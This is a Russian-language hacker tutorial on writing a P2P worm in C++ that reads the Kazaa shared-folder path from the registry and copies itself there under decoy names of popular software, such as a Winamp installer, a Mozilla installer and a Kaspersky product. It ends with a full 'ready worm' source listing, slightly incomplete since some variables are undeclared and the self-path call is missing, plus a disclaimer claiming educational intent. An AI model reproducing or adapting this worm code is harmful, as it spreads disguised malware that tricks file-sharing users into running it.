Приветствую всех начинающих и не только кодеров и хакеров.
В своей статье я сегодня расскажу про то, каким образом на языке C++ можно без особых мучений написать несложный P2P.Worm.
В общем, на идею создания этого червяка меня натолкнул появившийся недавно в сети Вирус Mydoom.
Итак, начнем - В Интернете существует бесплатная файлообменная сеть, с помощью, которой пользователи со всего мира спокойно могут пробежаться по открытым каталогам, таких же пользователей!
В общем, в этой сети закон отсутствует и качают все, что можно и нельзя. Все засеяно смешными троянами и червяками.
И между прочим Mydoom тоже размножался через эту сеть. Приведу краткий алгоритм работы:
- При получении управления, определить присутствие на машине установленной клиента Kazaa Lite.
- ытащить из заведомо известного места в реестре путь к открытому каталогу пользователя.
- Произвольно из заведомо определенного списка выбрать имена (часто используемых программ).
- Записать свою копию под выбранным именем в каталог файлообмена.
- Выйти и передать управление ОС.
Вот примерно по такому алгоритму будет работать наша злобная программа. На языке с++ это реализуется довольно просто.
Даже можно программу немного сократить, так как если папка "My Shared Folder" не существует, то файл и не скопируется,
поэтому функцию проверки наличия клиента можно и сократить. В большинстве массы кода мы будем пользоваться WinAPI функциями.
Для компиляции сойдет, Borland C++ (версии не ниже 5.0) или Visual C++ 6.0. Итак, начинаем.
Для начала необходимо создать переменные, в которых будут храниться промежуточные данные:
HKEY hKey; //Тип данных системного реестра - это и есть наш ключик.
char Kazaa[1024]
,KazaaFull[1024]
,myname[1024]; //Создаем символьные массивы для хранения путей к себе и к папке файлообмена.
DWORD KazaaPath=sizeof(Kazaa); //Определяем размер пути в байтах, этого требует функция RegQueryValueEx.
Все нужные данные мы объявили без труда, ну а если вы и этого не поняли то вам только Павловскую читать.
Далее чтобы что то скопировать, нужно знать где это находится, т, е ищем путь к самому себе,
или если вам легче понять то это путь на диске к файлу, который вы сейчас будете компилировать.
Путь мы тоже будем искать через API функцию, которая называется "GetModuleFileName" и сделаем это вот так
GetModuleFileName(hwnd,myname,256); //Тут мы записываем путь к файлу с заголовком hwnd в переменную myname.
hwnd - Это переменная типа данных HWND - Дескриптор окна, это как у людей есть ИНН
так у окон есть дескрипторы, но они не постоянны. Его мы объявим при входе в программу.
Далее посредством того же API мы выдерем путь к папке файлообмена. Он хранится в реестре по адресу:
HKEY_CURRENT_USER\Software\Kazaa\Transfer в ключе по имени "DlDir0". Вот этот код копирнет адрес папки в переменную Kazaa.
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Kazaa\\Transfer", 0, KEY_QUERY_VALUE, &hKey);
RegQueryValueEx(hKey, "DlDir0", NULL, NULL, Kazaa, &KazaaPath);
RegCloseKey(hKey);
Затем идет проверка имени на правильность, и если имя не каракулями, то переходим к самому интересному
- копированию и выбору имени файла. Привожу код проверки:
if (Kazaa[0]>64 && Kazaa[0]<123) //Проверка по ASCII коду символов
Далее копируем в дополнительную переменную путь к папке файлообмена, чтобы при надобности мы могли использовать её далее.
i=0;
while (Kazaa[i]!=0)
{
KazaaFull[i]=Kazaa[i];
i++;
}
KazaaFull[i]=0;
Так с этим вроде покончили. Теперь мы должны произвольно выбрать имя файла и скопировать под ним себя в папку файлообмена.
Это мы сделает через rand и switch. Для тех кто хоть немного знаком с программированием на с/с++ это не трудно.
А коль вы чайник то статьи вам пока рано, читайте книжки по программингу.
Наши действия приведены тут:
randomize(); //Включаем генератор случайных чисел.
ra = random(11)+1; //Генерим число от 1 до 11 и если выбрали то переходим вниз по коду.
switch (ra)
{
case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break;
case 2 : strcat(KazaaFull, "\\spdialer.exe"); break;
case 3 : strcat(KazaaFull, "\\rammstein.scr"); break;
case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break;
case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break;
//Присоединяем к пути новое имя.
case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break;
//Я говорил про запасную переменную.
case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break;
// Мы юзаем "\\" потому что так нужно.
case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break;
case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break;
case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break;
case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break;
}
CopyFile(myname, KazaaFull, FALSE);
//Ну и копируем свое тело в папку KazaaFull
В этом коде мы склеиваем функцией strcat переменную пути KazaaFull и новое имя файла, выбранное произвольно.
Функция
CopyFile(myname, KazaaFull, FALSE); - Тоже Апишная и как её юзать тут легко показано правда последний параметр
значит "не заменять файл если такой есть", а если поставить TRUE то будет заменять.
Ну вот и все удачно вам по(ш)кодить. Ниже я привожу код готового P2P червя.
При компиляции все работало нормально и не пострадало ни одно живое существо.
WINAPI WinMain(HINSTANCE hwnd, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HKEY hKey;
char Kazaa[1024],KazaaFull[1024],myname[1024];
DWORD KazaaPath=sizeof(Kazaa);
//----------------------Kaaza_Reg----------------------------
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Kazaa\\Transfer", 0, KEY_QUERY_VALUE, &hKey);
RegQueryValueEx(hKey, "DlDir0", NULL, NULL, Kazaa, &KazaaPath);
RegCloseKey(hKey);
if (Kazaa[0]>64 && Kazaa[0]<123)
{
i=0;
while (Kazaa[i]!=0)
{
KazaaFull[i]=Kazaa[i];
i++;
}
KazaaFull[i]=0;
//--------------------Kazaa_Copy---------------------------------------
ra = random(11)+1;
switch (ra)
{
case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break;
case 2 : strcat(KazaaFull, "\\spdialer.exe"); break;
case 3 : strcat(KazaaFull, "\\rammstein.scr"); break;
case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break;
case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break;
case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break;
case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break;
case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break;
case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break;
case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break;
case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break;
}
CopyFile(myname, KazaaFull, FALSE);
}
return 0;
}
Статья написана исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгорытмы работы вирусов были выявлены при декомпиляции найденных в интернете вирсуов и на сайте Лаборатории Касперского.
Все подробности
Написать комментарий